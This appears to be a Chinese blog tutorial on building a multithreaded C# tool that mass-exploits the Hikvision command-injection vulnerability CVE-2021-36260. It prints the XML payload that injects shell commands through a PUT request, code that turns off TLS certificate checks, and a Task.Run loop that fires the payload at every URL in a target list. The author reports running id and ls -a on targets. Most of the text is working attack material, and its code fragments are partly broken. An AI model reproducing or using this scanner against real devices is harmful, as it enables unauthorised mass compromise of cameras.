如何编写一个多线程海康威视RCE漏洞利用工具
如何编写一个多线程海康威视RCE漏洞利用工具
说到这个多线程
我们就可以说下单线程
比如单线程的端口扫描,很容易造成卡顿
单线程的漏洞RCE,问题可能会出现卡顿的情况,原因是待优化的代码
程序逻辑问题等
比如我们就来简单写一个单线程的海康威视RCE工具
如CVE-2021-36260
这是一个命令执行漏洞
那么如何编写呢
首先我们可以去看一下漏洞复现过程
<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>
网上也有相应的漏洞利用程序
我们看了下原理是
通过PUT去发包
然后,在
<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>
执行想要的命令
首先我们要分析两步
第一步
<?xml version='1.0' encoding='utf-8'?><language>$(Command > webLib/x)</language>
执行这个PUT请求
这里默认为ID
<?xml version='1.0' encoding='utf-8'?><language>$(id > webLib/x)</language> 接着判断一下这个漏洞是否存在? 怎么判断,通过状态码和回显包判断 编写之前先引入 ServicePointManager.ServerCertificateValidationCallback += RemoteCertificateValidate; 支持https的 利用httpwebquest request.Headers.Add("X-Requested-With", "XMLHttpRequest"); 加入一个必备的头部 string XML= "<?xml version='1.0' encoding='UTF-8'?><language>$("id " > webLib/mz)</language>";
// byte[] postData = Encoding.UTF8.GetBytes(xmlData);
// request.ContentLength = postData.Length;
ss.Write(xml);
ss.Flush();
利用一个字符串接收
String sss = streamreader.ReadToEnd();
catch (WebException ex)
{
if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.InternalServerError)
{
}
else if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.Unauthorized)
{
}
这里是判断状态码的
可留空
try
{
yan();
}
catch (WebException ex)
{
我们看看yan的代码
catch (WebException ex)
{
if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.OK)
{
同样判断了状态码
这个不难理解
执行效果就是这样
我们重点看看多线程
批量需要读取本地URL
如
ServicePointManager.ServerCertificateValidationCallback += RemoteCertificateValidate;
string dictionaryPath = "hiv.txt";
string[] urls = File.ReadAllLines(dictionaryPath);
HIV可以放入你要检测的字典/txt
接着读取
// foreach (String url in urls)
// {
循环先注释掉
我们使用多线程
Task[] tasks = new Task[urls.Length]; //创建一个任务组
for (int i = 0; i < urls.Length; i++)
{
String urla = urls[i];
tasks[i] = Task.Run(() => //启用
{
try
{
String urlss = urla + 批量
这里需要注意:
urla+/payload:就是批量去发送的payload
request.Method = "PUT";
发送方式变成PUT
可以写一个public void yz(){
写入代码
直接调用
yan1();
}
判断状态码
{
("[!]" + urla + "存在海康威视CVE-2021-36260命令执行漏洞" + Environment.NewLine);
最终我们的实现效果就出来了
我们测试一下
本地放入测试的URL
接着点击验证
我们发现批量多线程还是挺快的
如果是单线程,估计就卡死了
我们来验证一个漏洞是否能执行命令
成功执行了ID命令
接着我们再来执行一个ls -a
同样可以验证
就写到这里
<< 上一篇